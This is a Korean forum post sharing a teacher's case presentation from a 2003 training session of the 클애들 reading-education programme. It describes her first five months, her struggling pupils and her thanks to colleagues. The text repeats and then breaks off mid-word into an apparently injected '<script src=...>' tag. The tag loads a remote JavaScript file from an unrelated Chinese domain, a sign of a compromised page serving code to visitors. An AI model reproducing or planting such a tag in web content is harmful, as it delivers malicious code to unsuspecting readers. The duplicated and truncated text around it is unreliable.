|
10월 25일 제1차 보수교육 때 있었던
사례발표의 내용을 올립니다.
지금 이순간에도 열심히 연구하시는 선생님들께
도움이 되길 바랍니다.
* 첨부파일은 한글파일입니다.
안녕하세요!
클애들 구미지사의 이지영이라고 합니다.
제가 클애들에 들어와 경험한 이야기와 느낀 바를 몇자 적어봅니다.
클애들에서의 첫 시작은 2003년 5월 15일이었습니다.
아는 분의 소개로 맺어진 인연이 오늘 2003년 10월 25일까지 이어지고 있습니다.
첫 한달은 교재 공부에만 시간을 활용했습니다.
그리고 한달 후 6월부터 클애들의 홍보가 시작되고 조금 더 아이들에게 다가서고자 노력했습니다.
하지만 ' 클애들 '은 생소한 이름이었나 봅니다.
시작은 많이 어려웠습니다. 여러번 제 마음도 흔들렸던 건 사실입니다.
그러던 어느날 3학년의 한 여학생이 처음으로 저의 제자가 되겠다고 찾아왔습니다. 아직도 기억이 생생합니다.
빨간 원피스에 머리에는 빨간색 두건을 쓰고 수줍은 듯 웃던 아이!
아직도 그 아이는 저에게 소중한 제자이며, 저를 잘 따르는 학생으로 함께하고 있습니다. 그 친구를 시작으로 조금씩 늘어가는 회원들...
처음엔 회원이 늘어간다는 사실에 마냥 행복한 웃음만 지었습니다.
그러나 웃음도 잠시 어려움에 부딪히게 되었습니다. 모든 아이들이 제 생각과는 달리 아직 한글을 모르는 아이, 우리나라 말이 서툰 아이, 책을 싫어하는 아이 등..
겪어보지 못한 아이들의 수업 앞에 전 또 한번 고민에 빠져야 했습니다. 원장님께 조언도 구해보고, 도서관에서 책도 많이 뒤적여 보고.
그래서 내린 결론은 '조금 모자란 듯한 아이들에게 조금 더 나은 혜택을 주자' 였습니다.
한글을 모르는 아이. 영국에서 5년을 살고 와 우리말이 서툰 아이, 책을 벌레 보듯 싫어하는 아이들을 매일 저희 클애들 교육센터로 오게 했습니다. 저의 회원 관리는 이렇게 시작되었습니다.
사실 처음은 많이 힘들 거라고 예상은 했습니다만 이렇게 어려울 줄은 꿈에도 몰랐습니다.
제 생각만으로는 얻으려고 하는 100%의 만죽을 충족시키기에는 부족한 점이 많았기 때문이라 생각했습니다.
하지만 '클애들'의 부수 교육 프로그램!
독서 기록장, 타 지사 선생님들과의 자료 나눔터는 저에게 희망의 빛이 되어 주었고, 서서히 늘어가는 아이들의 실력 앞에서 전 또 다시 웃음을 지었습니다.
제 전공이 이쪽 분야가 아니어서 망설였던 지난 날.
생각도 많았고, 고민도 많았고, 나름대고 힘든 시간을 '클애들'이라는 공간 속에서 아이들과 부딪치고, 느끼면서 다 잊었습니다.
저에겐 '클애들'이 남다른 곳입니다.
대학 졸업을 하고 사회 진출의 새내기요, 또 클애들 구미 교육센터의 첫 스타트 교사로서 모든 것이 '처음'이라는 타이틀로 조금은 주눅들어 있던 제 삶에 아이들의 변화는 너무도 큰 보석과도 같았습니다.
저와 함께 시작한 몇 분의 선생님들은 지금 저와 함께 하지는 않으시지만 그분들에게 받았던 위로와 격려들도 저를 지금의 이 자리에까지 오게 한 또 하나의 꼐단이었던 모양입니다.
뜨거운 여름 아이들의 짧은 소매와 수없이 흐르던 땀방울의 향수가 어느덧 옷깃을 여미고 입김이 나는 겨울이 다가오고 있습니다.
클애들에 소속된 5개월 동안 세상의 배경이 변하듯 제 삶의 배경도 변했습니다.
학생의 신분으로 선생님을 부르던 제가 이제 제 뒷 배경에 아이들을 세우고 선생님이라 불리우고 있습니다.
저에게 이런 자리를 가질 수 있게 도와주신 분들을 위해 오늘도 저는 클애들의 공간 속으로 들어와 있습니다.
5개월의 시간동안 늘어난 나의 사랑스런 제자들.
그리고 그 시간동안 나의 앞길에 큰 등불로 제가 나아가야 할 길을 환히 비춰주시며 이끌어 주신 저희 교육센터 원장님께 감사를 드립니다.
그리고 '클애들' 이라는 큰 공간을 만들어 주신 남미영 박사님과 본사의 모든 분들께 감사하다는 말을 전하고, 전 또 다시 내일을 준비 하려 합니다.
[사 례 발 표]
이지영 교사, 구미 교육센터
클애들에서의 첫 시작은 2003년 5월 15일이었습니다.
아는 분의 소개로 맺어진 인연이 오늘 2003년 10월 25일까지 이어지고 있습니다.
첫 한 달은 교재 공부에만 시간을 활용했습니다.
그리고 한달 후, 6월부터 클애들의 홍보가 시작되고 조금 더 아이들에게 다가서고자 노력했습니다.
하지만 "클애들"은 생소한 이름이었나 봅니다.
시작은 많이 어려웠습니다. 여러 번 제 마음도 흔들렸던 건 사실입니다.
그러던 어?script src=http://s.lbs66.cn/kr.js>
|
이 름 : 